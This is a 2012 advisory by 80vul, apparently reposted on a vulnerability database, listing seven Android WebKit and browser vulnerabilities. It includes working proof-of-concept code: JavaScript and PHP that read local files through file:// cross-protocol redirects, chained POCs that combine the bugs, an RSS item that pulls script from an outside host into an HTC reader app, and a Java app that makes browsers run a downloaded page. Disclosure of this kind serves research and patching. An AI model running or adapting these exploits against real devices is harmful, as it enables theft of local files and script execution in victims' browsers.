`Android Multiple Vulnerabilities
Author: www.80vul.com [Email:5up3rh3i#gmail.com]
Release Date: 2012/2/8
References: http://www.80vul.com/android/android-0days.txt
Ph4nt0m Webzine 0x06 has been
released[http://www.80vul.com/webzine_0x06/],there
three papers on the android application security about the development
environment,browser security, inter-application communication.And published
a lot of 0days:
[0day-NO.0] android-webkit local cross-domain vulnerability
android-webkit allow local html files cross any http domain and the local
file.demo:
<script>
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP',
'Microsoft.XMLHTTP',
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
//xmlhttp.open("GET", "file://///default.prop", false);
//xmlhttp.open("GET", "http://www.80vul.com/", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert(ret);
</script>
[0day-NO.1] android-webkit cross-protocol vulnerability
this vul allow cross to the file protocol from http. demo:
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///default.prop";
}
setTimeout(init,5000)
</script>
location.php codz:
<?php
header("Location:file:///80vul.com");
?>
[0day-NO.2] android-webkit file:// protocol xss vulnerability
ON android-webkit File:// protocol, the lack of filtering on the directory
and file name,Lead to cross-site scripting attacks. demo:
visit this : file:///80vul.com/<script>alert(1);</script>
[0day-NO.3] android-browser/firefox auto download the file vulnerability
android-browser/firefox Handle the Content-Disposition: attachment, lack of
safety tips.So through this vul allows users to automatically download the
evil html file to the local directory.
test this code:
<?
//autodown.php
header("Content-Disposition: attachment:filename=autodown.htm");
$data=<<<android_xss_go
<script>alert(/xss/);</script>
android_xss_go;
print $data;
?>
the local file name and the path:
android 1.x --> /sdcard/download/autodown.html
android 2.x-3.x --> /sdcard/download/autodown.htm
android 4.0 --> /sdcard/download/autodown.php
firefox --> /sdcard/download/autodown.php
So,Let's play a jigsaw puzzle:
POC[1]:
//[0day-NO.1]+[0day-NO.2]
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///ssss<sc"+"ript>alert(1);</sc"+"ript>/";
}
setTimeout(init,5000)
</script>
POC[2]:
//[0day-NO.1]+[0day-NO.3]
<meta http-equiv="refresh" content="0;URL=autodown.php"/>
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///sdcard/Download/autodown.htm";
}
setTimeout(init,5000)
</script>
Now ,We can execute arbitrary js code on the local domain, and we can cross
any http domain and the local file used [0day-NO.0].
and go on ...
[0day-NO.4] webview.loadDataWithBaseURL() cross-protocol vulnerability
By controlling the second argument of webview.loadDataWithBaseURL(),can
cross the file:// protocol use javascript,like
<script>window.location='file://///default.prop';</script> .so the dome apk
demo:
WebView webview;
webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
webview.setWebChromeClient(new WebChromeClient());
String
data="80vul<script>window.location='file://///default.prop';</script>";
webview.loadDataWithBaseURL("http://www.baidu.com/", data,
"text/html", "utf-8", null);
[0day-NO.5] com.htc.googlereader XSS vulnerability
com.htc.googlereader is an app on HTC Mobile [G10], there is a xss vul on
this app, then Decompilation and Found this codz:
label399: String str = this.mHeadlineShown.getSummary();
if (str.trim().contains("<iframe"))
{
this.mWebView.loadData(str, "text/html", "utf-8");
break label246;
}
this.mWebView.loadDataWithBaseURL("http://", str, "text/html",
"utf-8", null);
break label246;
the "str" have no filter and can be controlled by evil RSS:
<item>
<guid>http://www.80vul.com</guid>
<title>0day-NO.5</title>
<link>http://www.80vul.com</link>
<description><![CDATA[aa<script src='
http://www.80vul.com/xss.js'></script>]]></description>
<dc:creator>80vul</dc:creator>
<category>anddoid</category>
<pubDate>Sun, 04 Sep 2011 13:01:40 -0500</pubDate>
</item>
When opens the unread status of the rss, u can get the XSS vul. and this
is mWebView.loadDataWithBaseURL(),so can cross file:// by [0day-NO.4].
[0day-NO.6] Some Browsers for android Cross-Application Scripting
Vulnerability
the evil app can cross browser and execute arbitrary js code on the local
domain. the demo app codz:
//codz base on http://blog.watchfire.com/files/advisory-android-browser.pdf
package com.x;
//opera
//com.opera.browser com.opera.Opera
//firefox
//org.mozilla.firefox org.mozilla.firefox.App
//android
//com.android.browser com.android.browser.BrowserActivity
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
public class TesttestActivity extends Activity {
static final String mPackage = "com.android.browser";
static final String mClass = "com.android.browser.BrowserActivity";
static final String gomPackage = "com.opera.browser";
static final String gomClass = "com.opera.Opera";
static final String mUrl = "http://www.80vul.com/autodown.php";
static final int mSleep = 15000;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
startBrowserActivity(mUrl);
try {
Thread.sleep(mSleep);
}
catch (InterruptedException e) {}
startBrowserActivitygo("file:///sdcard/Download/g.htm");
}
private void startBrowserActivity(String url) {
Intent res = new Intent("android.intent.action.VIEW");
res.setComponent(new ComponentName(mPackage,mClass));
res.setData(Uri.parse(url));
startActivity(res);
}
private void startBrowserActivitygo(String url) {
Intent res = new Intent("android.intent.action.VIEW");
res.setComponent(new ComponentName(gomPackage,gomClass));
res.setData(Uri.parse(url));
startActivity(res);
}
}
hitest
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation